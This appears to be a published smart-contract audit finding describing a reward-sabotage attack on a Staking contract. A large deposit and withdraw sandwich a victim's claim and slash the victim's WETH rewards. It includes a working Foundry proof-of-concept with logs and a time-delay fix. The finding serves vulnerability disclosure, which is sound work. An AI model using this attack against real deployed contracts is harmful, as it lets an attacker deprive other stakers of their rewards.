20,000 USDC
View results
Submission Details
Severity: high
Valid

Rewards can be sabotaged by large deposit and withdraw

Summary

The rewards in the Staking contract are calculated based on the change in WETH and the amount of staked TKN at the exact time of withdrawal, regardless of how long the TKN has been staked. By sandwiching a claim() between a large deposit or withdraw, an attacker can reduce the amount of reward tokens a withdrawer gets. This attack costs them zero tokens, as in the TKN in == TKN out. They could profit from this if they already have a large amount of tokens staked, because these unrewarded tokens will get distributed to future claimants of rewards.

Vulnerability Details

Here is a POC of the attack. There is a base case, where somebody deposits, then claims some ETH rewards.
The "attack case" is a replica of the base case, except the withdrawal transaction is sandwiched between the attacker's deposit and withdraw.

We use console.log() to log the amount claimed. In the base case, 400 WETH is claimed and in the attack case, the victim only claimed 15 WETH, so the attack successfully reduced the reward amount.

Since the attacker staked 10000 and immediately withdrew 10000, the attack cost them 0 TKN.

contract StakingTest is Test {
Staking staking;
WETH9 weth;
TKN tkn;
//users:
//This contract is owner
address attacker = address(1);
address bob = address(2);
address test_address = address(this);
function setUp() public {
weth = new WETH9();
tkn = new TKN();
staking = new Staking(address(tkn), address(weth));
//get 1000WETH
weth.deposit{value: 1000000}();
weth.transfer(address(staking), 1000);
tkn.transfer(attacker, 1000);
tkn.transfer(bob, 1000);
}
function test_POC_sabotage_rewards_attack_case() public {
console.log(weth.balanceOf(address(staking)), "initial weth balance");
tkn.approve(address(staking), 1e30);
staking.deposit(200);
vm.startPrank(bob);
tkn.approve(address(staking), 1000);
staking.deposit(100);
staking.deposit(100);
vm.stopPrank();
weth.transfer(address(staking), 800);
staking.deposit(10000);
vm.startPrank(bob);
uint balance_before = weth.balanceOf(bob);
staking.claim();
uint balance_after = weth.balanceOf(bob);
console.log(balance_after- balance_before, "claimed");
vm.stopPrank();
staking.withdraw(10000);
}
function test_POC_sabotage_rewards_base_case() public {
console.log(weth.balanceOf(address(staking)), "initial weth balance");
tkn.approve(address(staking), 1e30);
staking.deposit(200);
vm.startPrank(bob);
tkn.approve(address(staking), 1000);
staking.deposit(100);
staking.deposit(100);
vm.stopPrank();
weth.transfer(address(staking), 800);
vm.startPrank(bob);
uint balance_before = weth.balanceOf(bob);
staking.claim();
uint balance_after = weth.balanceOf(bob);
console.log(balance_after- balance_before, "claimed");
vm.stopPrank();
}
}
[PASS] test_POC_sabotage_rewards_attack_case() (gas: 359582)
Logs:
1000 initial weth balance
15 claimed
[PASS] test_POC_sabotage_rewards_base_case() (gas: 319598)
Logs:
1000 initial weth balance
400 claimed

Impact

Innocent stakers can have their rewards slashed/sabotaged by flash deposit/withdraws

Tools Used

Foundry

Recommendations

Give a time delay between deposits and withdrawals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.